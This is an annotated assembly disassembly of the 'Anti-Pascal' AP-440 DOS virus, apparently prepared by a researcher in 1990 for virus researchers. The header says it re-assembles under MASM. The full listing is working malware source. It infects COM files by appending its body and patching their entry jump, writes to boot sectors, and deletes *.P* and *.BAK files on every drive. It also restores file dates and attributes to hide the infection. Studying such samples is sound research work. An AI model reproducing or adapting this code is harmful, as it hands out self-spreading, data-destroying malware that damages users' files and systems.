page ,132 name AP440 title The 'Anti-Pascal' virus, version AP-440 .radix 16 ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 º ; º Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255 º ; º º ; º The 'Anti-Pascal' Virus, version AP-440 º ; º Disassembled by Vesselin Bontchev, July 1990 º ; º º ; º Copyright (c) Vesselin Bontchev 1989, 1990 º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. code segment assume cs:code, ds:code org 100 v_const = 2042d start: jmp v_entry db 0CA ; Virus signature db (2048d - 9) dup (90) mov ax,4C00 int 21 v_start label byte first4 db 0E9, 0F8, 7, 90 allcom db '*.COM', 0 mydta label byte reserve db 15 dup (?) attrib db ? time dw ? date dw ? fsize dd ? namez db 14d dup (?) allp db 0, '????????P??' allbak db 0, '????????BAK' maxdrv db ? sign db 'ICS 89' v_entry: push ax ; Save AX & DX push dx mov ah,19 ; Get the default drive int 21 push ax ; Save it on stack mov ah,0E ; Set it as default (?!) mov dl,al int 21 ; Do it call self ; Determine the virus' start address self: pop si sub si,offset self-v_const ; Save the number of logical drives in the system: mov byte ptr [si+offset maxdrv-v_const],al ; Restore the first 4 bytes of the infected program: mov ax,[si+offset first4-v_const] mov word ptr ds:[offset start],ax mov ax,[si+offset first4+2-v_const] mov word ptr ds:[offset start+2],ax mov ah,1A ; Set new DTA lea dx,[si+offset mydta-v_const] int 21 ; Do it pop ax ; Restore current drive in AL push ax ; Keep it on stack call inf_drive ; Proceed with the current drive xor al,al ; For all logical drives in the system drv_lp: call inf_drive ; Proceed with drive jbe drv_lp ; Loop until no more drives pop ax ; Restore the saved current drive mov ah,0E ; Set it as current drive mov dl,al int 21 ; Do it mov dx,80 ; Restore original DTA mov ah,1A int 21 ; Do it mov si,offset start pop dx ; Restore DX & AX pop ax jmp si ; Run the original program inf_drive: push ax ; Save the selected drive number on stack mov ah,0E ; Select that drive mov dl,al int 21 ; Do ti pop ax ; Restore AX push ax ; Save the registers used push bx push cx push si ; Save SI mov cx,1 ; Read the boot sector of the drive specified xor dx,dx lea bx,[si+offset v_end-v_const] push ax ; Save AX push bx ; Save BX, CX & DX also push cx push dx int 25 ; Do read pop dx ; Clear the stack pop dx ; Restore saved DX, CX & BX pop cx pop bx jc bad_drv ; Exit on error inc byte ptr [bx] ; Increment the first byte (?!) cmp byte ptr [bx+1],6F ; Second byte == 111 (?!) jne wr_drive ; Write the new values if not bad_drv: pop ax ; Restore AX pop si ; Restore SI drv_xit: pop cx ; Restore used registers pop bx pop ax inc al ; Go to next drive number cmp al,[si+offset maxdrv-v_const] ; See if there are more drives ret ; Exit wr_drive: pop ax ; Restore drive number in AL int 26 ; Do write pop ax ; Clear the stack pop si ; Restore Si jc drv_xit ; Exit on error ; Find first COM file on the current directory of the selected drive: mov ah,4E xor cx,cx ; Normal files only lea dx,[si+offset allcom-v_const] ; File mask next: int 21 ; Do find jc no_more ; Quit search if no more such files lea dx,[si+offset namez-v_const] ; Get file name found call infect ; Infect that file mov ah,4F ; Prepare for FindNext jc next ; If infection not successful, go to next file jmp drv_xit ; Otherwise quit no_more: lea di,[si+offset v_end-v_const] cmp byte ptr [di],'Z' jb drv_xit mov ah,13 ; Delete all *.P* files in that dir lea dx,[si+offset allp-v_const] int 21 ; Do it cmp al,-1 je drv_xit ; Exit on error mov ah,13 ; Delete all *.BAK files too lea dx,[si+offset allbak-v_const] int 21 ; Do it jmp drv_xit ; Done. Exit namaddr dw ? ; Address of the file name buffer infect: mov [si+offset namaddr-v_const],dx ; Save file name address mov ax,4301 ; Reset all file attributes xor cx,cx int 21 ; Do it jnc inf_cont ; Continue if all OK inf_xit: ret ; Otherwise exit inf_cont: mov ax,3D02 ; Open file for both reading and writing int 21 jc inf_xit ; Exit on arror mov bx,ax ; Save file handle in BX mov cx,4 ; Read the first 4 bytes of the file mov ah,3F lea di,[si+offset first4-v_const] ; Save them in first4 mov dx,di int 21 ; Do it jc quit ; Exit on error cmp byte ptr [di+3],0CA ; File already infected? stc ; Set CF to indicate it jz quit ; Don't touch this file if so mov cx,[si+offset fsize-v_const] cmp cx,2048d ; Check if file size >= 2048 bytes jb quit ; Exit if not cmp cx,64000d ; Check if file size <= 64000 bytes stc ; Set CF to indicate it ja quit ; Exit if not xor cx,cx ; Seek to file end xor dx,dx mov ax,4202 int 21 ; Do it push ax ; Save file size on stack jc quit ; Exit on error ; Write the virus body after the end of file: mov cx,v_end-v_start nop lea dx,[si+offset v_start-v_const] mov ah,40 int 21 ; Do it jc quit ; Exit on error pop ax ; Restore file size in AX ; Form a new address for the first JMP instruction in AX: add ax,v_entry-v_start-3 mov byte ptr [di],0E9 ; JMP opcode mov [di+1],ax mov byte ptr [di+3],0CA ; Set the "file infected" sign xor cx,cx ; Seek to file beginning xor dx,dx mov ax,4200 int 21 ; Do it jc quit ; Exit on error mov cx,4 ; Write the new first 4 bytes of the file mov dx,di mov ah,40 int 21 ; Do it quit: pushf ; Save flags mov ax,5701 ; Set file date & time mov cx,[si+offset time-v_const] ; Get time from mydta mov dx,[si+offset date-v_const] ; Get date from mydta int 21 ; Do it mov ah,3E ; Close the file int 21 mov ax,4301 ; Set file attributes mov cl,[si+offset attrib-v_const] ; Get them from mydta xor ch,ch mov dx,[si+offset namaddr-v_const] ; Point to file name int 21 ; Do it popf ; Restore flags ret v_end equ $ code ends end start